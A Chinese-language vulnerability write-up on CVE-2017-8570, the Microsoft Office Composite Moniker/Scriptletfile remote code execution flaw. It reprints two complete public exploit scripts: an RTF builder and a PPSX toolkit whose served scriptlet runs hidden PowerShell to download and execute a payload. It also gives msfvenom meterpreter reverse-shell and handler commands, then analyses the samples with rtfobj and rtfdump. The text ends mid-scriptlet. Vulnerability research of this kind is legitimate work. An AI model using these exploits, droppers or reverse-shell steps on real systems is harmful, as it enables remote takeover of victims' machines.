CVE-2017-8570 office Scriptletfile远程代码执行漏洞分析
fa1lr4in Lv2

CVE-2017-8570 office Scriptletfile 远程代码执行漏洞分析

I、foreword

CVE-2017-8570CVE-2017-0199漏洞的编译,为Microsoft Office的又一个逻辑漏洞,又称二代沙虫。相比于CVE-2017-0199,利用更加方便,影响更加广泛。

该漏洞的原理大致为office开放了危险的 Scriptletfile 脚本功能,利用.sct文件可以执行任意命令。微软通过将 Scriptletfile 功能禁用来达到漏洞修复的目的。该漏洞为 CVE-2017-0199的绕过, CVE-2017-0199 也是开放了危险的 htafile 与 script 功能,微软的修复方式也是禁用了 htafile 与 script 功能。

II、Pre-knowledge

2.1 Composite Moniker

Composite Moniker对象的作用是可以将某个Moniker对象定义为一个新的Moniker对象(NewMoniker),或者将多个Moniker对象进行组合,比如可以使用Composite Moniker对象将两个File Moniker对象组合成一个。假设Composite Moniker对象包含了两个File Moniker对象:

1
2
File Moniker 1:"c:\work\art"
File Moniker 2:"..\backup\myfile.doc"

通过Composite Moniker对象进行组合后,相当于得到了一个带有完整文件路径的File Moniker对象:”c:\work\backup\myfile.doc”。

III、Vulnerability Analysis

3.1 Vulnerability verification(.rtf)

这里先对漏洞进行复现,exp来源: https://github.com/rxwx/CVE-2017-8570

exp代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import argparse
import os
import struct
import random
import string

class Package(object):
"""
Packager spec based on:
https://phishme.com/rtf-malware-delivery/

Dropping method by Haifei Li:
https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/
Found being used itw by @MalwareParty:
https://twitter.com/MalwareParty/status/943861021260861440
"""
def __init__(self, filename):
self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + '.sct'
self.fakepath = 'C:\\fakepath\\{}'.format(self.filename)

self.orgpath = self.fakepath
self.datapath = self.fakepath

with open(filename,'rb') as f:
self.data = f.read()

self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata "
self.OBJ_TAIL = r"0105000000000000}}"

def get_object_header(self):
OLEVersion = '01050000'
FormatID = '02000000'
ClassName = 'Package'
szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex')
szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex')

return ''.join([
OLEVersion,
FormatID,
szClassName,
ClassName.encode('hex') + '00',
'00000000',
'00000000',
szPackageData,
])

def get_package_data(self):
StreamHeader = '0200'
Label = self.filename.encode('hex') + '00'
OrgPath = self.orgpath.encode('hex') + '00'
UType = '00000300'
DataPath = self.datapath.encode('hex') + '00'
DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex')
DataLen = struct.pack("<I", len(self.data)).encode('hex')
Data = self.data.encode('hex')
OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex')
OrgPathW = self.datapath.encode('utf-16le').encode('hex')
LabelLen = struct.pack("<I", len(self.filename)).encode('hex')
LabelW = self.filename.encode('utf-16le').encode('hex')
DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex')
DefPathW = self.orgpath.encode('utf-16le').encode('hex')

return ''.join([
StreamHeader,
Label,
OrgPath,
UType,
DataPathLen,
DataPath,
DataLen,
Data,
OrgPathWLen,
OrgPathW,
LabelLen,
LabelW,
DefPathWLen,
DefPathW,
])

def build_package(self):
return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL

# Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html
EXPLOIT_RTF = r"""{{\rt{0}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{1}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{2}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}"""


def build_exploit(sct):
p = Package(sct)
package = p.build_package()
return EXPLOIT_RTF.format(package, p.filename.encode('hex'), p.filename.encode('utf-16le').encode('hex'))


if __name__ == '__main__':
parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method")
parser.add_argument("-s", "--sct", help="Sct file to execute", required=True)
parser.add_argument('-o', "--output", help="Output file for RTF", required=True)

args = parser.parse_args()

with open(args.output, 'w') as f:
f.write(build_exploit(args.sct))
print "[+] RTF file written to: {}".format(args.output)

参照官方的复现过程:python packager_composite_moniker.py -s calc.sct -o example.rtf

之后将example.rtf放入office中执行

image-20220721171920150

查看进程调用

image-20220721172542607

3.2 Vulnerability verification(.ppsx)

exp来源: https://github.com/tezukanice/Office8570

exp代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
#!/usr/bin/env python
'''
## Exploit toolkit CVE-2017-8570 - v1.0 (https://github.com/bhdresh/CVE-2017-8570) ##
### Scenario 1: Deliver local payload
Example commands
1) Generate malicious PPSX file
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-8570_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
### Scenario 2: Deliver Remote payload
Example commands
1) Generate malicious PPSX file
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) Start toolkit in exploit mode to deliver remote payload
# python cve-2017-8570_toolkit.py -M exp -e http://remoteserver.com/shell.exe
Scenario 3: Deliver custom SCT file
Example commands
1) Generate malicious PPSX file
# python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.56.1/logo.doc
2) Start toolkit in exploit mode to deliver custom SCT file
# python cve-2017-8570_toolkit.py -M exp -H /tmp/custom.sct

### Command line arguments:
# python cve-2017-8570_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-8570 (Microsoft Office PPSX RCE)
Modes:
-M gen Generate Malicious PPSX file only
Generate malicious PPSX file:
-w <Filename.ppsx> Name of malicious PPSX file (Share this file with victim).
-u <http://attacker.com/test.sct> The path to an SCT file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and
will be requested once victim will open malicious PPSX file.
-M exp Start exploitation mode
Exploitation:
-H </tmp/custom.sct> Local path of a custom SCT file which needs to be delivered and executed on target.
NOTE: This option will not deliver payloads specified through options "-e" and "-l".
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.

'''

import os,sys,thread,socket,sys,getopt,binascii,shutil,tempfile
from random import randint
from random import choice
from string import ascii_uppercase
from zipfile import ZipFile, ZIP_STORED, ZipInfo


BACKLOG = 50 # how many pending connections queue will hold
MAX_DATA_RECV = 999999 # max number of bytes we receive at once
DEBUG = True # set to True to see the debug msgs
def main(argv):
# Host and Port information
global port
global host
global filename
global docuri
global payloadurl
global payloadlocation
global customsct
global mode
global obfuscate
filename = ''
docuri = ''
payloadurl = ''
payloadlocation = ''
customsct = ''
port = int("80")
host = ''
mode = ''
obfuscate = int("0")
# Capture command line arguments
try:
opts, args = getopt.getopt(argv,"hM:w:u:p:e:l:H:x:",["mode=","filename=","docuri=","port=","payloadurl=","payloadlocation=","customsct=","obfuscate="])
except getopt.GetoptError:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print "\nThis is a handy toolkit to exploit CVE-2017-8570 (Microsoft Word PPSX RCE)\n"
print "Modes:\n"
print " -M gen Generate Malicious PPSX file only\n"
print " Generate malicious PPSX file:\n"
print " -w <Filename.ppsx> Name of malicious PPSX file (Share this file with victim).\n"
print " -u <http://attacker.com/test.sct> The path to an SCT file. Normally, this should be a domain or IP where this tool is running.\n"
print " For example, http://attackerip.com/test.sct (This URL will be included in malicious PPSX file and\n"
print " will be requested once victim will open malicious PPSX file.\n"
print " -M exp Start exploitation mode\n"
print " Exploitation:\n"
print " -H </tmp/custom.sct> Local path of a custom SCT file which needs to be delivered and executed on target.\n"
print " NOTE: This option will not deliver payloads specified through options \"-e\" and \"-l\".\n"
print " -p <TCP port:Default 80> Local port number.\n"
print " -e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.\n"
print " -l </tmp/shell.exe> If payload is hosted locally, specify local path of an executable file / meterpreter shell / payload.\n"
sys.exit()
elif opt in ("-M","--mode"):
mode = arg
elif opt in ("-w", "--filename"):
filename = arg
elif opt in ("-u", "--docuri"):
docuri = arg
elif opt in ("-p", "--port"):
port = int(arg)
elif opt in ("-e", "--payloadurl"):
payloadurl = arg
elif opt in ("-l", "--payloadlocation"):
payloadlocation = arg
elif opt in ("-H","--customsct"):
customsct = arg
if "gen" in mode:
if (len(filename)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(docuri)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
generate_exploit_ppsx()
mode = 'Finished'
if "exp" in mode:
if (len(customsct)>1):
print "Running exploit mode (Deliver Custom SCT) - waiting for victim to connect"
exploitation()
sys.exit()
if (len(payloadurl)<1):
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
if (len(payloadurl)>1 and len(payloadlocation)<1):
print "Running exploit mode (Deliver SCT with remote payload) - waiting for victim to connect"
exploitation()
sys.exit()
print "Running exploit mode (Deliver SCT + Local Payload) - waiting for victim to connect"
exploitation()
mode = 'Finished'
if not "Finished" in mode:
print 'Usage: python '+sys.argv[0]+' -h'
sys.exit()
def generate_exploit_ppsx():
# Preparing malicious PPSX
shutil.copy2('template/template.ppsx', filename)
class UpdateableZipFile(ZipFile):
"""
Add delete (via remove_file) and update (via writestr and write methods)
To enable update features use UpdateableZipFile with the 'with statement',
Upon __exit__ (if updates were applied) a new zip file will override the exiting one with the updates
"""

class DeleteMarker(object):
pass

def __init__(self, file, mode="r", compression=ZIP_STORED, allowZip64=False):
# Init base
super(UpdateableZipFile, self).__init__(file, mode=mode,
compression=compression,
allowZip64=allowZip64)
# track file to override in zip
self._replace = {}
# Whether the with statement was called
self._allow_updates = False

def writestr(self, zinfo_or_arcname, bytes, compress_type=None):
if isinstance(zinfo_or_arcname, ZipInfo):
name = zinfo_or_arcname.filename
else:
name = zinfo_or_arcname
# If the file exits, and needs to be overridden,
# mark the entry, and create a temp-file for it
# we allow this only if the with statement is used
if self._allow_updates and name in self.namelist():
temp_file = self._replace[name] = self._replace.get(name,
tempfile.TemporaryFile())
temp_file.write(bytes)
# Otherwise just act normally
else:
super(UpdateableZipFile, self).writestr(zinfo_or_arcname,
bytes, compress_type=compress_type)

def write(self, filename, arcname=None, compress_type=None):
arcname = arcname or filename
# If the file exits, and needs to be overridden,
# mark the entry, and create a temp-file for it
# we allow this only if the with statement is used
if self._allow_updates and arcname in self.namelist():
temp_file = self._replace[arcname] = self._replace.get(arcname,
tempfile.TemporaryFile())
with open(filename, "rb") as source:
shutil.copyfileobj(source, temp_file)
# Otherwise just act normally
else:
super(UpdateableZipFile, self).write(filename,
arcname=arcname, compress_type=compress_type)

def __enter__(self):
# Allow updates
self._allow_updates = True
return self

def __exit__(self, exc_type, exc_val, exc_tb):
# call base to close zip file, organically
try:
super(UpdateableZipFile, self).__exit__(exc_type, exc_val, exc_tb)
if len(self._replace) > 0:
self._rebuild_zip()
finally:
# In case rebuild zip failed,
# be sure to still release all the temp files
self._close_all_temp_files()
self._allow_updates = False

def _close_all_temp_files(self):
for temp_file in self._replace.itervalues():
if hasattr(temp_file, 'close'):
temp_file.close()

def remove_file(self, path):
self._replace[path] = self.DeleteMarker()

def _rebuild_zip(self):
tempdir = tempfile.mkdtemp()
try:
temp_zip_path = os.path.join(tempdir, 'new.zip')
with ZipFile(self.filename, 'r') as zip_read:
# Create new zip with assigned properties
with ZipFile(temp_zip_path, 'w', compression=self.compression,
allowZip64=self._allowZip64) as zip_write:
for item in zip_read.infolist():
# Check if the file should be replaced / or deleted
replacement = self._replace.get(item.filename, None)
# If marked for deletion, do not copy file to new zipfile
if isinstance(replacement, self.DeleteMarker):
del self._replace[item.filename]
continue
# If marked for replacement, copy temp_file, instead of old file
elif replacement is not None:
del self._replace[item.filename]
# Write replacement to archive,
# and then close it (deleting the temp file)
replacement.seek(0)
data = replacement.read()
replacement.close()
else:
data = zip_read.read(item.filename)
zip_write.writestr(item, data)
# Override the archive with the updated one
shutil.move(temp_zip_path, self.filename)
finally:
shutil.rmtree(tempdir)

with UpdateableZipFile(filename, "a") as o:
o.writestr("ppt/slides/_rels/slide1.xml.rels", "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>\
<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"><Relationship Id=\"rId3\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject\" Target=\"script:"+docuri+"\" TargetMode=\"External\"/><Relationship Id=\"rId2\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/slideLayout\" Target=\"../slideLayouts/slideLayout1.xml\"/><Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/vmlDrawing\" Target=\"../drawings/vmlDrawing1.vml\"/></Relationships>")
print "Generated "+filename+" successfully"

def exploitation():

print "Server Running on ",host,":",port

try:
# create a socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# associate the socket to host and port
s.bind((host, port))

# listenning
s.listen(BACKLOG)

except socket.error, (value, message):
if s:
s.close()
print "Could not open socket:", message
sys.exit(1)

# get the connection from client
while 1:
conn, client_addr = s.accept()

# create a thread to handle request
thread.start_new_thread(server_thread, (conn, client_addr))

s.close()

def server_thread(conn, client_addr):

# get the request from browser
try:
request = conn.recv(MAX_DATA_RECV)
if (len(request) > 0):
# parse the first line
first_line = request.split('\n')[0]

# get method
method = first_line.split(' ')[0]
# get url
try:
url = first_line.split(' ')[1]
except IndexError:
print "Invalid request from "+client_addr[0]
conn.close()
sys.exit(1)
# check if custom SCT flag is set
if (len(customsct)>1):
print "Received request for custom SCT from "+client_addr[0]
try:
size = os.path.getsize(customsct)
except OSError:
print "Unable to read custom SCT file - "+customsct
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n"
with open(customsct) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
conn.close()
sys.exit(1)
check_exe_request = url.find('.exe')
if (check_exe_request > 0):
print "Received request for payload from "+client_addr[0]
try:
size = os.path.getsize(payloadlocation)
except OSError:
print "Unable to read"+payloadlocation
conn.close()
sys.exit(1)
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 18:56:41 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 16:56:22 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: "+str(size)+"\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: application/x-msdos-program\r\n\r\n"
with open(payloadlocation) as fin:
data +=fin.read()
conn.send(data)
conn.close()
sys.exit(1)
if method in ['GET', 'get']:
print "Received GET method from "+client_addr[0]
data = "HTTP/1.1 200 OK\r\nDate: Sun, 16 Apr 2017 17:11:03 GMT\r\nServer: Apache/2.4.25 (Debian)\r\nLast-Modified: Sun, 16 Apr 2017 17:30:47 GMT\r\nAccept-Ranges: bytes\r\nContent-Length: 1000\r\nKeep-Alive: timeout=5, max=100\r\nConnection: Keep-Alive\r\nContent-Type: text/scriptlet\r\n\r\n<?XML version=\"1.0\"?>\r\n<package>\r\n<component id='giffile'>\r\n<registration\r\n description='Dummy'\r\n progid='giffile'\r\n version='1.00'\r\n remotable='True'>\r\n</registration>\r\n<script language='JScript'>\r\n<![CDATA[\r\n new ActiveXObject('WScript.shell').exec('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\\'"+payloadurl+"\\', \\'c:/windows/temp/shell.exe\\'); c:/windows/temp/shell.exe');\r\n]]>\r\n</script>\r\n</component>\r\n</package>\r\n"
conn.send(data)
conn.close()
sys.exit(1)
except socket.error, ex:
print ex
if __name__ == '__main__':
main(sys.argv[1:])

参照官方的复现过程,首先生成ppsx文件和与木马文件,并启动http服务开启监听。

1
2
3
4
5
git clone https://github.com/tezukanice/Office8570.git
cd Office8570 && mkdir template && mv template.ppsx template
python cve-2017-8570_toolkit.py -M gen -w 1.ppsx -u http://192.168.134.131/logo.doc
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.134.131 LPORT=6666 -f exe > shell.exe
python cve-2017-8570_toolkit.py -M exp -e http://192.168.134.131/shell.exe -l shell.exe

image-20220722164319050

之后设置msf监听

1
2
3
4
5
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.134.131
set lport 6666
exploit

image-20220722163525400

最后将1.ppsx放入靶机中并执行

image-20220722163720475

无需点击,即可反弹shell

image-20220722165034128

image-20220722165052975

查看进程调用,powerpnt.exe进程生成了splwow64.exe进程,

image-20220722170006862

3.3 Exploit analysis(.rtf)

这个漏洞由APT组织使用且样本被截获分析,所以一般这种漏洞的分析首先做的就是样本分析,其中通过行为分析抽丝剥茧定位漏洞点,由于该漏洞已经过了好久,通过exp入手也是一个非常好的分析思路。

RTF文档有这样一个特性,在VISTA以后的系统中会自动释放Package对象到%tmp%目录,当文档将恶意.sct(Scriptletfile)脚本文件以Package对象的方式插入时,在受害者打开RTF文档后,Package对象中的.sct脚本文件会自动释放到%tmp%目录下。

样本中插入了两个关键的Objdata,其中一个是Package对象,这个对象包含了.sct脚本文件,脚本文件如下。

image-20220721201810071

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?XML version="1.0"?>
<scriptlet>

<registration
description="fjzmpcjvqp"
progid="fjzmpcjvqp"
version="1.00"
classid="{204774CF-D251-4F02-855B-2BE70585184B}"
remotable="true"
>
</registration>

<script language="JScript">
<![CDATA[

var r = new ActiveXObject("WScript.Shell").Run("calc.exe");


]]>
</script>

</scriptlet>

另一个则是包含了CVE-2017-8570漏洞的OLE2Link对象,该对象用来触发漏洞,漏洞触发成功后会直接加载%tmp%目录下的 xxx.sct 文件执行,我们可以使用工具来对其进行判断与提取

一是可以使用 rtfobj 来查看其ole对象,rtfobj是oletools工具套件中的一个工具,安装方式可以参考官方。我们可以很清楚的看到两个OLE Object,一个是OLE Package object,另一个是OLE2Link。在OLE Package object 中可以看到其包含了xxxx.sct 文件。在OLELink中得到了CLSID,通过CLSID可以判断其与 CVE-2017-0199, CVE-2017-8570, CVE-2017-8759 or CVE-2018-8174等漏洞有关,并推断该漏洞为CVE-2017-0199(实际上为该漏洞的变体CVE-2017-8570)。

image-20220722112201392

在rtfobj官方github中可以查到相关的commit

image-20220722114159424

二可以通过 rtfdump 工具对该文档进行分析,这里可以提取rtf文档的结构,并展示出了两个OLE Object。

image-20220722113349892

包含漏洞的OLE2Link对象中使用了Composite Moniker(复合的绰号)在组合一个File Moniker(绰号)的过程中未做安全校验,以致可以直接运行File Moniker对象指定的ScriptletFile(.sct)脚本文件。

3.4 Exploit analysis(.ppsx)

PPSX 文件以 Microsoft Office 2007 中引入的 Open XML 格式保存。它们取代了以前版本的 PowerPoint 使用的 .PPS 文件,这类文档一般通过xml格式的文档保存信息,一般可以通过压缩软件直接解压。查看生成的ppsx文档,查看其ole对象链接,在 ppt\slides\_rels\slide1.xml.rels路径下。

image-20220722171731477

查看 http://192.168.134.131/logo.doc 的内容,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?XML version="1.0"?>
<package>
<component id='giffile'>
<registration
description='Dummy'
progid='giffile'
version='1.00'
remotable='True'>
</registration>
<script language='JScript'>
<![CDATA[
